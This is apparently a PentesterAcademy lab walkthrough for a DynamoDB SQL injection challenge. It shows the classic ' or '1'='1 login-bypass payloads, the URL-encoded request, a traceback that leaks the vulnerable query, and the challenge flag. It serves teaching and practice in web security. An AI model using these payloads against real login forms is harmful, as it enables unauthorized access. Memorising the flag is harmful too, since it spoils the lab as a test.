

ATTACK
DEFENSE
by PentesterAcademy

Name	DynamoDB : SQL Injection
URL	https://attackdefense.com/challengedetails?cid=2292
Type	AWS Cloud Security : Databases

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Vulnerability: SQL injection

Step 1: Inspect the web application.

URL: <https://yscpye9z66.execute-api.us-east-1.amazonaws.com/dev/>

Management Panel

Username

Password

Submit

Step 2: Fill dummy values and try to login.

Management Panel

Username

john

Password

.....

Submit

Management Panel

Username

Username

Password

Password

Login Failed

Submit

Login failed.

Step 3: Try simple SQL injection payload.

Payload:

- **Username:** ' or '1'='1
- **Password:** ' or '1'='1

Management Panel

Username

Password

Login Failed

Submit

```
https://yscpye9z66.execute-api.us-east-1.amazonaws.com/dev?name=%27+or+%271%27%3D%271&password=%27+or+%271%27%3D%271

"Traceback (most recent call last):\n  File \"/var/task/lambda_function.py", line 20, in lambda_handler\n    users=cli\n    \\\\"Users\\\\" where username = '\"'+username+'\"' and password = '\"'+password+'\"';\\")\n  File \"/opt/python/lib/python3.8\n  _api_call\n    return self._make_api_call(operation_name, kwargs)\n  File \"/opt/python/lib/python3.8/site-packages/bot\n  error_class(parsed_response, operation_name)\nboto.core.exceptions.ClientError: An error occurred (ValidationException)\nkey attribute values are not valid: The AttributeValue for a key attribute cannot contain an empty string value.\n"
```

Got an error, this hints that SQL injection is working.

Since the payload started with single quotes, the attribute values became empty.

Step 4: Try inserting any string before payload so that attribute value doesn't become empty.

Payload:

- **Username:** abcd' or '1'='1
- **Password:** abcd' or '1'='1

Management Panel

Username

Password

Login Failed

Submit

Welcome bob

FLAG: c93fc81ec72770a7a9ddfc3db5555fd4

FLAG: c93fc81ec72770a7a9ddfc3db5555fd4

Successfully logged in and retrieved the flag.